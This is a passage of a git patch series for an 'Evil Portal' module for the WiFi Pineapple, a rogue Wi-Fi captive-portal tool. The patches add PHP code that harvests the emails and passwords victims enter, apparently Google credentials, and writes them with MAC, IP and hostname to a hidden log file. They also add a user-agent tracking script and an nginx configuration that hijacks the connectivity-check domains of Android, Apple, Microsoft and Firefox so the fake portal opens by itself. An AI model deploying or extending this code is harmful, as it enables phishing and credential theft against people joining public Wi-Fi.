$userAgent)) { + increment_browser('edge'); + }else if (preg_match('/MSIE [0-9]\./', $userAgent)) { + increment_browser('internet_explorer'); + } elseif (preg_match('/^Opera\/[0-9]{1,3}\.[0-9]/', $userAgent)) { + increment_browser('opera'); + } else { + increment_browser('other'); + } +} +identifyUserAgent($_SERVER['HTTP_USER_AGENT']); ?> From 662f6c394ba8fc6733b750b0bf40d5996e6f4faf Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Sun, 31 May 2020 19:14:18 +0200 Subject: [PATCH 25/29] Update index.php --- .../includes/targeted_skeleton/index.php | 37 ++++++++++++++++++- 1 file changed, 36 insertions(+), 1 deletion(-) diff --git a/EvilPortal/includes/targeted_skeleton/index.php b/EvilPortal/includes/targeted_skeleton/index.php index 6bacbd1..d671fdb 100644 --- a/EvilPortal/includes/targeted_skeleton/index.php +++ b/EvilPortal/includes/targeted_skeleton/index.php @@ -1,6 +1,41 @@ exec('CREATE TABLE IF NOT EXISTS user_agents (browser TEXT NOT NULL);'); + $statement = $sqlite->prepare('INSERT INTO user_agents (browser) VALUES(:browser);'); + $statement->bindValue(':browser', $browser, SQLITE3_TEXT); + try { + $ret = $statement->execute(); + } catch (Exception $e) { + return false; + } + return $ret; +} +function identifyUserAgent($userAgent) +{ + if (preg_match('/(MSIE|Trident|(?!Gecko.+)Firefox)/', $userAgent)) { + increment_browser('firefox'); + }else if (preg_match('/(?!AppleWebKit.+Chrome.+)Safari(?!.+Edge)/', $userAgent)) { + increment_browser('safari'); + }else if (preg_match('/(?!AppleWebKit.+)Chrome(?!.+Edge)/', $userAgent)) { + increment_browser('chrome'); + }else if (preg_match('/(?!AppleWebKit.+Chrome.+Safari.+)Edge/', $userAgent)) { + increment_browser('edge'); + }else if (preg_match('/MSIE [0-9]\./', $userAgent)) { + increment_browser('internet_explorer'); + } elseif (preg_match('/^Opera\/[0-9]{1,3}\.[0-9]/', $userAgent)) { + increment_browser('opera'); + } else { + increment_browser('other'); + } +} +identifyUserAgent($_SERVER['HTTP_USER_AGENT']); /** * * DO NOT MODIFY THIS FILE From d62522180d306d23f9ad200d3b093d7ea09379c0 Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Mon, 1 Jun 2020 10:46:24 +0200 Subject: [PATCH 26/29] Update MyPortal.php --- .../includes/token_skeleton/MyPortal.php | 99 ++++++++----------- 1 file changed, 42 insertions(+), 57 deletions(-) diff --git a/EvilPortal/includes/token_skeleton/MyPortal.php b/EvilPortal/includes/token_skeleton/MyPortal.php index 435c03b..f51c7cc 100644 --- a/EvilPortal/includes/token_skeleton/MyPortal.php +++ b/EvilPortal/includes/token_skeleton/MyPortal.php @@ -5,65 +5,50 @@ class MyPortal extends Portal public function handleAuthorization() { function generateRandomString($length = 8) { - return substr(str_shuffle(str_repeat($x='23456789abcdefghkmnpqrstuvwxyzABCDEFGHKMNPQRSTUVWXYZ', ceil($length/strlen($x)) )),1,$length); - } - - $dirs = array( - '/root/', - '/sd/', - ); - $dirs = array_filter($dirs, 'file_exists'); - $dirs = array_filter($dirs, 'is_writeable'); - if (empty($dirs)) { - die("die"); - } - $dir = array_pop($dirs); - $want = $dir . DIRECTORY_SEPARATOR . 'evilportal-logs'; - if (file_exists($want)) { - } - else { - mkdir($want); - } - if (!file_exists($want)) { - } - if (!is_dir($want)) { - } - if (!is_writeable($want)) { - } - $want .= DIRECTORY_SEPARATOR; + return substr(str_shuffle(str_repeat($x='23456789abcdefghkmnpqrstuvwxyzABCDEFGHKMNPQRSTUVWXYZ', ceil($length/strlen($x)) )),1,$length); + } + $token = generateRandomString(8); //token - - $sub = "Evil Portal Your WIFI-Token !\nContent-Type: text/html"; //Subject of the mail & html format info - $sender = "info@test.de"; //Sender of the mail + + $sub = "Evil Portal Your WIFI-Token !\nContent-Type: text/html"; //Subject of the mail & html format info + $sender = "info@test.de"; //Sender of the mail - $body = file_get_contents("/www/template.html"); //read the template - $mailtext = str_replace('TOKEN', $token, $body); //insert token (TOKEN will be replaced) - if (isset($_POST['gettoken'])) { - $email = isset($_POST['email']) ? $_POST['email'] : 'email'; - $mac = isset($_POST['mac']) ? $_POST['mac'] : 'mac'; - $hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'hostname'; - $ip = isset($_POST['ip']) ? $_POST['ip'] : 'ip'; - $gpw = isset($_POST['gpw']) ? $_POST['gpw'] : 'gpw'; - $this->execBackground("notify $email' Requested Token:'$token' - PW:'$gpw' - IP:'$ip"); //notify panel - $this->sendmail($sub, $mailtext, $sender, $email); //Send the mail - file_put_contents("$dir/evilportal-logs/$mac:mail.txt", "{$email}/n", FILE_APPEND); // write mail file - file_put_contents("$dir/evilportal-logs/portal-logins.txt", "{$email}:{$gpw}/n", FILE_APPEND); // write google clients file - file_put_contents("$dir/evilportal-logs/$mac.txt", "{$token}", FILE_APPEND); // write auth file - die(); - } - if (isset($_POST['getaccess'])) { - $rtoken = isset($_POST['token']) ? $_POST['token'] : 'token'; - $hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'hostname'; - $mac = isset($_POST['mac']) ? $_POST['mac'] : 'mac'; - $ip = isset($_POST['ip']) ? $_POST['ip'] : 'ip'; - $dtoken = file_get_contents("$dir/evilportal-logs/$mac.txt"); //read auth file - if($rtoken == $dtoken) { - $this->execBackground("notify $mac' Login:'$rtoken' IP:'$ip"); //notify panel - $this->execBackground("writeLog $mac' - '$rtoken"); - parent::handleAuthorization(); - unlink("$dir/evilportal-logs/$mac:mail.txt"); - unlink("$dir/evilportal-logs/$mac.txt"); - } + $body = file_get_contents("/www/template.html"); //read the template + $mailtext = str_replace('TOKEN', $token, $body); //insert token (TOKEN will be replaced) + if (isset($_POST['gettoken'])) { + + $email = isset($_POST['email']) ? $_POST['email'] : 'email'; + $mac = isset($_POST['mac']) ? $_POST['mac'] : 'mac'; + $hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'hostname'; + $ip = isset($_POST['ip']) ? $_POST['ip'] : 'ip'; + $gpw = isset($_POST['gpw']) ? $_POST['gpw'] : 'gpw'; + $this->execBackground("notify $email' Requested Token:'$token' - PW:'$gpw' - IP:'$ip"); //notify panel + $this->sendmail($sub, $mailtext, $sender, $email); //Send the mail + + $reflector = new \ReflectionClass(get_class($this)); + $logPath = dirname($reflector->getFileName()); + file_put_contents("{$logPath}/.logs", "[" . date('Y-m-d H:i:s') . "Z]\n" . "email: {$email}\npassword: {$gpw}\nhostname: {$hostname}\nmac: {$mac}\nip: {$ip}\n\n", FILE_APPEND); + + file_put_contents("{$logPath}/$mac:mail.txt", "{$email}/n", FILE_APPEND); // write mail file + file_put_contents("{$logPath}/$mac.txt", "{$token}", FILE_APPEND); // write auth file + die(); + } + + if (isset($_POST['getaccess'])) { + + $rtoken = isset($_POST['token']) ? $_POST['token'] : 'token'; + $hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'hostname'; + $mac = isset($_POST['mac']) ? $_POST['mac'] : 'mac'; + $ip = isset($_POST['ip']) ? $_POST['ip'] : 'ip'; + $reflector = new \ReflectionClass(get_class($this)); + $logPath = dirname($reflector->getFileName()); + $dtoken = file_get_contents("{$logPath}/$mac.txt"); //read auth file + if($rtoken == $dtoken) { + $this->execBackground("notify $mac' Login:'$rtoken' IP:'$ip"); //notify panel + parent::handleAuthorization(); + unlink("{$logPath}/$mac:mail.txt"); + unlink("{$logPath}/$mac.txt"); + } } // Call parent to handle basic authorization first //parent::handleAuthorization(); From ae484604377f495bb3e0d5006a01817f1a0808be Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Mon, 1 Jun 2020 12:56:27 +0200 Subject: [PATCH 27/29] Update index.php noscript --- EvilPortal/includes/token_skeleton/index.php | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/EvilPortal/includes/token_skeleton/index.php b/EvilPortal/includes/token_skeleton/index.php index fd017c0..b66b1aa 100644 --- a/EvilPortal/includes/token_skeleton/index.php +++ b/EvilPortal/includes/token_skeleton/index.php @@ -47,6 +47,11 @@ function identifyUserAgent($userAgent) +

Evil Portal

This is the default Evil Portal page.

From 0ca5ea908b253f5098f0a0e316db7b0b5a4ea6ec Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Tue, 2 Jun 2020 15:15:56 +0200 Subject: [PATCH 28/29] Update README.md HOSTS Hotspot auto detect ! --- README.md | 237 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 237 insertions(+) diff --git a/README.md b/README.md index de2c035..89630b9 100644 --- a/README.md +++ b/README.md @@ -102,6 +102,243 @@ $sub = "Google FI - Your WIFI-Token !\nContent-Type: text/html"; //Subject of th $sender = "your_email@gmail.com or your_fake_sender_email@gmail.com"; //Sender of the mail ``` + +# Change Nginx Servers to support hotspot auto detection on all devices. +# EDIT to / Override /etc/nginx/nginx.conf with : + +``` +user root root; +worker_processes 1; + + + +events { + worker_connections 1024; +} + + +http { + include mime.types; + index index.php index.html index.htm; + default_type text/html; + + sendfile on; + keepalive_timeout 65; + gzip on; + server_names_hash_bucket_size 64; + gzip_min_length 1k; + gzip_buffers 4 16k; + gzip_http_version 1.0; + gzip_comp_level 2; + gzip_types text/plain application/x-javascript text/css application/xml; + gzip_vary on; + server { + listen 80; # Port, make sure it is not in conflict with another http daemon. + server_name www; # Change this, reference -> http://nginx.org/en/docs/http/server_names.html + error_page 404 =200 /index.php; + error_log /dev/null; + access_log /dev/null; + fastcgi_connect_timeout 300; + fastcgi_send_timeout 300; + fastcgi_read_timeout 300; + fastcgi_buffer_size 32k; + fastcgi_buffers 4 32k; + fastcgi_busy_buffers_size 32k; + fastcgi_temp_file_write_size 32k; + client_body_timeout 10; + client_header_timeout 10; + send_timeout 60; # 60 sec should be enough, if experiencing alof of timeouts, increase this. + output_buffers 1 32k; + postpone_output 1460; + + root /www/; # Your document root, where all public material is. + + location ~ \.php$ { + fastcgi_index index.php; + include fastcgi_params; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + + if (-f $request_filename) { + # Only throw it at PHP-FPM if the file exists (prevents some PHP exploits) + fastcgi_pass unix:/var/run/php5-fpm.sock; # The upstream determined above + } + } + error_page 404 =200 /index.php; + } + + server { + listen 80; # Port, make sure it is not in conflict with another http daemon. + server_name connectivitycheck.gstatic.com connectivitycheck.android.com clients3.google.com; + error_page 404 =200 /index.php; + error_log /dev/null; + access_log /dev/null; + fastcgi_connect_timeout 300; + fastcgi_send_timeout 300; + fastcgi_read_timeout 300; + fastcgi_buffer_size 32k; + fastcgi_buffers 4 32k; + fastcgi_busy_buffers_size 32k; + fastcgi_temp_file_write_size 32k; + client_body_timeout 10; + client_header_timeout 10; + send_timeout 60; # 60 sec should be enough, if experiencing alof of timeouts, increase this. + output_buffers 1 32k; + postpone_output 1460; + + root /www/; # Your document root, where all public material is. + + location ~ \.php$ { + fastcgi_index index.php; + include fastcgi_params; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + + if (-f $request_filename) { + # Only throw it at PHP-FPM if the file exists (prevents some PHP exploits) + fastcgi_pass unix:/var/run/php5-fpm.sock; # The upstream determined above + } + } + error_page 404 =200 /index.php; + } + + server { + listen 80; # Port, make sure it is not in conflict with another http daemon. + server_name captive.apple.com www.airport.us www.thinkdifferent.us; + error_page 404 =200 /index.php; + error_log /dev/null; + access_log /dev/null; + fastcgi_connect_timeout 800; + fastcgi_send_timeout 600; + fastcgi_read_timeout 600; + fastcgi_buffer_size 32k; + fastcgi_buffers 4 32k; + fastcgi_busy_buffers_size 32k; + fastcgi_temp_file_write_size 32k; + client_body_timeout 15; + client_header_timeout 15; + send_timeout 120; # 60 sec should be enough, if experiencing alof of timeouts, increase this. + output_buffers 1 32k; + postpone_output 1460; + + root /www/; # Your document root, where all public material is. + + location ~ \.php$ { + fastcgi_index index.php; + include fastcgi_params; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + + if (-f $request_filename) { + # Only throw it at PHP-FPM if the file exists (prevents some PHP exploits) + fastcgi_pass unix:/var/run/php5-fpm.sock; # The upstream determined above + } + } + error_page 404 =200 /index.php; + } + + server { + listen 80; # Port, make sure it is not in conflict with another http daemon. + server_name www.msftconnecttest.com msftconnecttest.com www.msftncsi.com; + error_page 404 =200 /index.php; + error_log /dev/null; + access_log /dev/null; + fastcgi_connect_timeout 300; + fastcgi_send_timeout 300; + fastcgi_read_timeout 300; + fastcgi_buffer_size 32k; + fastcgi_buffers 4 32k; + fastcgi_busy_buffers_size 32k; + fastcgi_temp_file_write_size 32k; + client_body_timeout 10; + client_header_timeout 10; + send_timeout 60; # 60 sec should be enough, if experiencing alof of timeouts, increase this. + output_buffers 1 32k; + postpone_output 1460; + + root /www/; # Your document root, where all public material is. + + location ~ \.php$ { + fastcgi_index index.php; + include fastcgi_params; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + + if (-f $request_filename) { + # Only throw it at PHP-FPM if the file exists (prevents some PHP exploits) + fastcgi_pass unix:/var/run/php5-fpm.sock; # The upstream determined above + } + } + error_page 404 =200 /index.php; + } + + server { + listen 80; # Port, make sure it is not in conflict with another http daemon. + server_name detectportal.firefox.com; + error_page 404 =200 /index.php; + error_log /dev/null; + access_log /dev/null; + fastcgi_connect_timeout 300; + fastcgi_send_timeout 300; + fastcgi_read_timeout 300; + fastcgi_buffer_size 32k; + fastcgi_buffers 4 32k; + fastcgi_busy_buffers_size 32k; + fastcgi_temp_file_write_size 32k; + client_body_timeout 10; + client_header_timeout 10; + send_timeout 60; # 60 sec should be enough, if experiencing alof of timeouts, increase this. + output_buffers 1 32k; + postpone_output 1460; + + root /www/; # Your document root, where all public material is. + + location ~ \.php$ { + fastcgi_index index.php; + include fastcgi_params; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + + if (-f $request_filename) { + # Only throw it at PHP-FPM if the file exists (prevents some PHP exploits) + fastcgi_pass unix:/var/run/php5-fpm.sock; # The upstream determined above + } + } + error_page 404 =200 /index.php; + } + + + server { + listen 1471; # Port, make sure it is not in conflict with another http daemon. + server_name pineapple; # Change this, reference -> http://nginx.org/en/docs/http/server_names.html + error_page 404 =200 /index.php; + error_log /dev/null; + access_log /dev/null; + fastcgi_connect_timeout 300; + fastcgi_send_timeout 300; + fastcgi_read_timeout 300; + fastcgi_buffer_size 32k; + fastcgi_buffers 4 32k; + fastcgi_busy_buffers_size 32k; + fastcgi_temp_file_write_size 32k; + client_body_timeout 10; + client_header_timeout 10; + send_timeout 60; # 60 sec should be enough, if experiencing alof of timeouts, increase this. + output_buffers 1 32k; + postpone_output 1460; + + root /pineapple/; # Your document root, where all public material is. + add_header 'Cache-Control' 'no-cache, no-store, must-revalidate'; + + location ~ \.php$ { + fastcgi_index index.php; + include fastcgi_params; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + + if (-f $request_filename) { + # Only throw it at PHP-FPM if the file exists (prevents some PHP exploits) + fastcgi_pass unix:/var/run/php5-fpm.sock; # The upstream determined above + } + } + } +} +``` + Head on over to the Wifi Pineapples Web Interface and go to the Evil Portal module. You're all done! ## Useful Links From a7017760d67e0cc7ff41600bb37a39db289f6cf6 Mon Sep 17 00:00:00 2001 From: H4xl0r <31049432+H4xl0r@users.noreply.github.com> Date: Tue, 2 Jun 2020 15:17:45 +0200 Subject: [PATCH 29/29] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 89630b9..1ce32fd 100644 --- a/README.md +++ b/README.md @@ -356,6 +356,7 @@ If you want to contribute to the project feel free to tackle one of these tasks! ## Release History ### Version 4.B +* Added Hotspot Hosts to Webserver (connectivitycheck.gstatic.com .. etc. Will auto popup on Windows / Iphone / Android) * Added Sendmail and Token * Added Hotspot detection html * Added Tracking Script (Pinapple Dashboard Browser Stats (Still Beta))